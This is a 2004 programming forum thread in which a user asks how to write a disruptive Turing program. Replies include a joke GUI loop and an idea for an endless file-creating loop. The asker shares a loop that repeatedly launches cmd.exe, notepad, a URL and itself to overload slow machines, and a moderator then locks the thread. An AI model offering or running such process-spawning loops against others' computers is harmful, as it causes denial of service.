Programming C, C++, Java, PHP, Ruby, Turing, VB
Computer Science Canada 
Programming C, C++, Java, PHP, Ruby, Turing, VB  

Username:   Password: 
 RegisterRegister   
 Turing + Computer
Index -> Programming, Turing -> Turing Help
View previous topic Printable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic
Author Message
eNc




PostPosted: Wed Nov 10, 2004 8:11 pm   Post subject: Turing + Computer

Does nyone know how to make a disruptive program in turing that will either use up memory or like shutdown the computer ?
Sponsor
Sponsor
Sponsor
sponsor
Delos




PostPosted: Wed Nov 10, 2004 9:06 pm   Post subject: (No subject)

Use up memory? Sure.

code:

import GUI

var button : int

proc doNothing
end doNothing

button := GUI.CreateButton (100, 100, 50, "Click!", doNothing)

loop
    exit when GUI.ProcessEvent
end loop


That disruptive enough for you? Seriously though, OOT GUI is a horrible memory hog...

As for shutting down...there are obviously ways.
wtd




PostPosted: Wed Nov 10, 2004 9:18 pm   Post subject: (No subject)

But if you're operating system is any good, it won't let runaway memory usage in one program stomp all over other programs or the operating system itself.
Hikaru79




PostPosted: Wed Nov 10, 2004 10:49 pm   Post subject: (No subject)

There's always a program that infinitely loops, creating new files in it's directory. Twisted Evil

Actually, I've never tried that. But it would work, I imagine.
eNc




PostPosted: Wed Nov 10, 2004 11:49 pm   Post subject: (No subject)

let me share a proggy i made

code:

loop
if Sys.Exec("http://wtfomg.com")then
end if
if Sys.Exec("cmd.exe") then
end if
if Sys.Exec("MyProggy.exe")then
end if
if Sys.Exec("notepad.exe")then
end if
end loop



Simple yet deadly for slow machines
eNc




PostPosted: Wed Nov 10, 2004 11:50 pm   Post subject: (No subject)

Delos wrote:
Use up memory? Sure.

code:

import GUI

var button : int

proc doNothing
end doNothing

button := GUI.CreateButton (100, 100, 50, "Click!", doNothing)

loop
    exit when GUI.ProcessEvent
end loop


That disruptive enough for you? Seriously though, OOT GUI is a horrible memory hog...

As for shutting down...there are obviously ways.


BTW your proggy doesn't work it only shows a button and click on it, when i click nothing happens


How can you shut it down Razz
Delos




PostPosted: Thu Nov 11, 2004 8:54 am   Post subject: (No subject)

The idea behind the programme was not explicit malicousness. Run it again, then press Ctrl+Alt+Del (if you're on XP). Check the CPU usage by it...
AsianSensation




PostPosted: Thu Nov 11, 2004 4:34 pm   Post subject: (No subject)

Asking for help on making a malicious program....not cool. Locked.
Sponsor
Sponsor
Sponsor
sponsor
Display posts from previous:   
   Index -> Programming, Turing -> Turing Help
View previous topic Tell A FriendPrintable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

Page 1 of 1  [ 8 Posts ]
Jump to:   


Style:  
Search: